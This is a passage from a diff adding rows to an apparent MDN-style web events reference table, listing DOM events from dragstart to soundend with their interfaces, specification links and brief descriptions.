+   <td>{{event("dragstart")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragstart">HTML5</a></td>
+   <td>The user starts dragging an element or text selection.</td>
+  </tr>
+  <tr>
+   <td>{{event("drop")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drop">HTML5</a></td>
+   <td>An element is dropped on a valid drop target.</td>
+  </tr>
+  <tr>
+   <td>{{event("durationchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-durationchange">HTML5 media</a></td>
+   <td>The <code>duration</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{event("emptied")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-emptied">HTML5 media</a></td>
+   <td>The media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the <a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" rel="internal"><code>load()</code></a> method is called to reload it.</td>
+  </tr>
+  <tr>
+   <td>{{event("end_(SpeechRecognition)","end")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>The speech recognition service has disconnected.</td>
+  </tr>
+  <tr>
+   <td>{{event("end_(SpeechSynthesis)","end")}}</td>
+   <td>{{domxref("SpeechSynthesisEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName("Web Speech API")}}</td>
+   <td>The utterance has finished being spoken.</td>
+  </tr>
+  <tr>
+   <td>{{event("ended")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ended">HTML5 media</a></td>
+   <td>Playback has stopped because the end of the media was reached.</td>
+  </tr>
+  <tr>
+   <td>{{event("ended_(Web_Audio)", "ended")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{SpecName("Web Audio API")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{event("endEvent")}}</td>
+   <td>{{domxref("TimeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element ends.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-error">DOM L3</a></td>
+   <td>A resource failed to load.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> and </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-error">XMLHttpRequest</a></td>
+   <td>Progression has failed.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>An error occurred while downloading the cache manifest or updating the content of the application.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A WebSocket connection has been closed with prejudice (some data couldn't be sent for example).</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>An event source connection has been failed.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>A request caused an error and failed.</td>
+  </tr>
+  <tr>
+   <td>{{event("error_(SpeechRecognitionError)","error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>A speech recognition error occurs.</td>
+  </tr>
+  <tr>
+   <td>{{event("error_(SpeechSynthesisError)","error")}}</td>
+   <td>{{domxref("SpeechSynthesisErrorEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>An error occurs that prevents the utterance from being successfully spoken.</td>
+  </tr>
+  <tr>
+   <td>{{event("focus")}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focus">DOM L3</a></td>
+   <td>An element has received focus (does not bubble).</td>
+  </tr>
+  <tr>
+   <td>{{event("focusin")}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusIn">DOM L3</a></td>
+   <td>An element is about to receive focus (bubbles).</td>
+  </tr>
+  <tr>
+   <td>{{event("focusout")}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusout">DOM L3</a></td>
+   <td>An element is about to lose focus (bubbles).</td>
+  </tr>
+  <tr>
+   <td>{{event("fullscreenchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
+   <td>An element was turned to fullscreen mode or back to normal mode.</td>
+  </tr>
+  <tr>
+   <td>{{event("fullscreenerror")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
+   <td>It was impossible to switch to fullscreen mode for technical reasons or because the permission was denied.</td>
+  </tr>
+  <tr>
+   <td>{{event("gamepadconnected")}}</td>
+   <td>{{domxref("GamepadEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/gamepad/#the-gamepadconnected-event">Gamepad</a></td>
+   <td>A gamepad has been connected.</td>
+  </tr>
+  <tr>
+   <td>{{event("gamepaddisconnected")}}</td>
+   <td>{{domxref("GamepadEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/gamepad/#the-gamepaddisconnected-event">Gamepad</a></td>
+   <td>A gamepad has been disconnected.</td>
+  </tr>
+  <tr>
+   <td>{{event("gotpointercapture")}}</td>
+   <td>{{domxref("PointerEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-gotpointercapture-event">Pointer Events</a></td>
+   <td>Element receives pointer capture.</td>
+  </tr>
+  <tr>
+   <td>{{event("hashchange")}}</td>
+   <td>{{domxref("HashChangeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-hashchange">HTML5</a></td>
+   <td>The fragment identifier of the URL has changed (the part of the URL after the #).</td>
+  </tr>
+  <tr>
+   <td>{{event("lostpointercapture")}}</td>
+   <td>{{domxref("PointerEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-lostpointercapture-event">Pointer Events</a></td>
+   <td>Element lost pointer capture.</td>
+  </tr>
+  <tr>
+   <td>{{event("input")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/forms.html#common-event-behaviors">HTML5</a></td>
+   <td>The value of an element changes or the content of an element with the attribute <a href="/en-US/docs/DOM/Element.contentEditable">contenteditable</a> is modified.</td>
+  </tr>
+  <tr>
+   <td>{{event("invalid")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#constraint-validation">HTML5</a></td>
+   <td>A submittable element has been checked and doesn't satisfy its constraints.</td>
+  </tr>
+  <tr>
+   <td>{{event("keydown")}}</td>
+   <td>{{domxref("KeyboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keydown">DOM L3</a></td>
+   <td>A key is pressed down.</td>
+  </tr>
+  <tr>
+   <td>{{event("keypress")}}</td>
+   <td>{{domxref("KeyboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keypress">DOM L3</a></td>
+   <td>A key is pressed down and that key normally produces a character value (use input instead).</td>
+  </tr>
+  <tr>
+   <td>{{event("keyup")}}</td>
+   <td>{{domxref("KeyboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keyup">DOM L3</a></td>
+   <td>A key is released.</td>
+  </tr>
+  <tr>
+   <td>{{event("languagechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{event("levelchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>The <code>level</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{event("load")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-load">DOM L3</a></td>
+   <td>A resource and its dependent resources have finished loading.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)">load</a></code></td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-load">XMLHttpRequest</a></td>
+   <td>Progression has been successful.</td>
+  </tr>
+  <tr>
+   <td>{{event("loadeddata")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadeddata">HTML5 media</a></td>
+   <td>The first frame of the media has finished loading.</td>
+  </tr>
+  <tr>
+   <td>{{event("loadedmetadata")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadedmetadata">HTML5 media</a></td>
+   <td>The metadata has been loaded.</td>
+  </tr>
+  <tr>
+   <td>{{event("loadend")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadend">XMLHttpRequest</a></td>
+   <td>Progress has stopped (after "error", "abort" or "load" have been dispatched).</td>
+  </tr>
+  <tr>
+   <td>{{event("loadstart")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress </a><span>and </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadstart">XMLHttpRequest</a></td>
+   <td>Progress has begun.</td>
+  </tr>
+  <tr>
+   <td>{{event("mark")}}</td>
+   <td>{{domxref("SpeechSynthesisEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>The spoken utterance reaches a named SSML "mark" tag.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_websocket">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A message is received through a WebSocket.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_webworker">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/workers/#communicating-with-a-dedicated-worker">Web Workers</a></td>
+   <td>A message is received from a Web Worker.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_webmessaging">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/webmessaging/">Web Messaging</a></td>
+   <td>A message is received from a child (i)frame or a parent window.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_serversentevents">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>A message is received through an event source.</td>
+  </tr>
+  <tr>
+   <td>{{event("message_(ServiceWorker)","message")}}</td>
+   <td>{{domxref("ServiceWorkerMessageEvent")}} or {{domxref("ExtendableMessageEvent")}}, depending on context.</td>
+   <td style="white-space: nowrap;"><a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a></td>
+   <td>A message is received from a service worker, or a message is received in a service worker from another context.</td>
+  </tr>
+  <tr>
+   <td>{{event("mousedown")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousedown">DOM L3</a></td>
+   <td>A pointing device button (usually a mouse) is pressed on an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseenter")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseenter">DOM L3</a></td>
+   <td>A pointing device is moved onto the element that has the listener attached.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseleave")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseleave">DOM L3</a></td>
+   <td>A pointing device is moved off the element that has the listener attached.</td>
+  </tr>
+  <tr>
+   <td>{{event("mousemove")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousemove">DOM L3</a></td>
+   <td>A pointing device is moved over an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseout")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseout">DOM L3</a></td>
+   <td>A pointing device is moved off the element that has the listener attached or off one of its children.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseover")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseover">DOM L3</a></td>
+   <td>A pointing device is moved onto the element that has the listener attached or onto one of its children.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseup")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseup">DOM L3</a></td>
+   <td>A pointing device button is released over an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("nomatch")}}</td>
+   <td>{{domxref("SpeechRecognitionEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>The speech recognition service returns a final result with no significant recognition.</td>
+  </tr>
+  <tr>
+   <td>{{event("notificationclick")}}</td>
+   <td>{{domxref("NotificationEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Notifications','#dom-serviceworkerglobalscope-onnotificationclick','onnotificationclick')}}</td>
+   <td>A system notification<span style="line-height: 19.0909080505371px;"> spawned by {{domxref("ServiceWorkerRegistration.showNotification()")}} has been clicked.</span></td>
+  </tr>
+  <tr>
+   <td>{{event("noupdate")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>The manifest hadn't changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("obsolete")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>The manifest was found to have become a 404 or 410 page, so the application cache is being deleted.</td>
+  </tr>
+  <tr>
+   <td>{{event("offline")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-offline">HTML5 offline</a></td>
+   <td>The browser has lost access to the network.</td>
+  </tr>
+  <tr>
+   <td>{{event("online")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-online">HTML5 offline</a></td>
+   <td>The browser has gained access to the network (but particular websites might be unreachable).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/open_websocket">open</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A WebSocket connection has been established.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/open_serversentevents">open</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>An event source connection has been established.</td>
+  </tr>
+  <tr>
+   <td>{{event("orientationchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/screen-orientation/">Screen Orientation</a></td>
+   <td>The orientation of the device (portrait/landscape) has changed</td>
+  </tr>
+  <tr>
+   <td>{{event("pagehide")}}</td>
+   <td>{{domxref("PageTransitionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pagehide">HTML5</a></td>
+   <td>A session history entry is being traversed from.</td>
+  </tr>
+  <tr>
+   <td>{{event("pageshow")}}</td>
+   <td>{{domxref("PageTransitionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pageshow">HTML5</a></td>
+   <td>A session history entry is being traversed to.</td>
+  </tr>
+  <tr>
+   <td>{{event("paste")}}</td>
+   <td>{{domxref("ClipboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/clipboard-apis/#paste-event">Clipboard</a></td>
+   <td>Data has been transferred from the system clipboard to the document.</td>
+  </tr>
+  <tr>
+   <td>{{event("pause")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-pause">HTML5 media</a></td>
+   <td>Playback has been paused.</td>
+  </tr>
+  <tr>
+   <td>{{event("pause_(SpeechSynthesis)", "pause")}}</td>
+   <td>{{domxref("SpeechSynthesisEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>The utterance is paused part way through.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointercancel")}}</td>
+   <td>{{domxref("PointerEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointercancel-event">Pointer Events</a></td>
+   <td>The pointer is unlikely to produce any more events.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointerdown")}}</td>
+   <td>{{domxref("PointerEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointerdown-event">Pointer Events</a></td>
+   <td>The pointer enters the active buttons state.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointerenter")}}</td>
+   <td>{{domxref("PointerEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointerenter-event">Pointer Events</a></td>
+   <td>Pointing device is moved inside the hit-testing boundary.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointerleave")}}</td>
+   <td>{{domxref("PointerEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointerleave-event">Pointer Events</a></td>
+   <td>Pointing device is moved out of the hit-testing boundary.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointerlockchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
+   <td>The pointer was locked or released.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointerlockerror")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
+   <td>It was impossible to lock the pointer for technical reasons or because the permission was denied.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointermove")}}</td>
+   <td>{{domxref("PointerEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointermove-event">Pointer Events</a></td>
+   <td>The pointer changed coordinates.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointerout")}}</td>
+   <td>{{domxref("PointerEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointerout-event">Pointer Events</a></td>
+   <td>The pointing device moved out of hit-testing boundary or leaves detectable hover range.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointerover")}}</td>
+   <td>{{domxref("PointerEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointerover-event">Pointer Events</a></td>
+   <td>The pointing device is moved into the hit-testing boundary.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointerup")}}</td>
+   <td>{{domxref("PointerEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-pointerup-event">Pointer Events</a></td>
+   <td>The pointer leaves the active buttons state.</td>
+  </tr>
+  <tr>
+   <td>{{event("play")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-play">HTML5 media</a></td>
+   <td>Playback has begun.</td>
+  </tr>
+  <tr>
+   <td>{{event("playing")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-playing">HTML5 media</a></td>
+   <td>Playback is ready to start after having been paused or delayed due to lack of data.</td>
+  </tr>
+  <tr>
+   <td>{{event("popstate")}}</td>
+   <td>{{domxref("PopStateEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-popstate">HTML5</a></td>
+   <td>A session history entry is being navigated to (in certain cases).</td>
+  </tr>
+  <tr>
+   <td>{{event("progress")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-progress">XMLHttpRequest</a></td>
+   <td>In progress.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/progress_(appcache_event)">progress</a></code></td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>The user agent is downloading resources listed by the manifest.</td>
+  </tr>
+  <tr>
+   <td>{{event("push")}}</td>
+   <td>{{domxref("PushEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName("Push API")}}</td>
+   <td>A <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker</a> has received a push message.</td>
+  </tr>
+  <tr>
+   <td>{{event("pushsubscriptionchange")}}</td>
+   <td>{{domxref("PushEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName("Push API")}}</td>
+   <td>A <a href="/en-US/docs/Web/API/PushSubscription">PushSubscription</a> has expired.</td>
+  </tr>
+  <tr>
+   <td>{{event("ratechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ratechange">HTML5 media</a></td>
+   <td>The playback rate has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("readystatechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><span>HTML5 <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-readystatechange">XMLHttpRequest</a></td>
+   <td>The readyState attribute of a document has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("repeatEvent")}}</td>
+   <td>{{domxref("TimeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element is repeated.</td>
+  </tr>
+  <tr>
+   <td>{{event("reset")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-0#resetting-a-form">HTML5</a></td>
+   <td>A form is reset.</td>
+  </tr>
+  <tr>
+   <td>{{event("resize")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-resize">DOM L3</a></td>
+   <td>The document view has been resized.</td>
+  </tr>
+  <tr>
+   <td>{{event("resourcetimingbufferfull")}}</td>
+   <td>{{domxref("Performance")}}</td>
+   <td style="white-space: nowrap;"><a href="https://w3c.github.io/resource-timing/#dom-performance-onresourcetimingbufferfull">Resource Timing</a></td>
+   <td>The browser's resource timing buffer is full.</td>
+  </tr>
+  <tr>
+   <td>{{event("result")}}</td>
+   <td>{{domxref("SpeechRecognitionEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>The speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.</td>
+  </tr>
+  <tr>
+   <td>{{event("resume")}}</td>
+   <td>{{domxref("SpeechSynthesisEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>A paused utterance is resumed.</td>
+  </tr>
+  <tr>
+   <td>{{event("scroll")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-scroll">DOM L3</a></td>
+   <td>The document view or an element has been scrolled.</td>
+  </tr>
+  <tr>
+   <td>{{event("seeked")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeked">HTML5 media</a></td>
+   <td>A <em>seek</em> operation completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("seeking")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeking">HTML5 media</a></td>
+   <td>A <em>seek</em> operation began.</td>
+  </tr>
+  <tr>
+   <td>{{event("select")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-select">DOM L3</a></td>
+   <td>Some text is being selected.</td>
+  </tr>
+  <tr>
+   <td>{{event("selectstart")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{ SpecName('Selection API')}}</td>
+   <td>A selection just started.</td>
+  </tr>
+  <tr>
+   <td>{{event("selectionchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{ SpecName('Selection API')}}</td>
+   <td>The selection in the document has been changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("show")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/interactive-elements.html#context-menus">HTML5</a></td>
+   <td>A contextmenu event was fired on/bubbled to an element that has a <a href="/en-US/docs/DOM/element.contextmenu">contextmenu</a> attribute</td>
+  </tr>
+  <tr>
+   <td>{{event("soundend")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>Any sound — recognisable speech or not — has stopped being detected.</td>
+  </tr>
+  <tr>
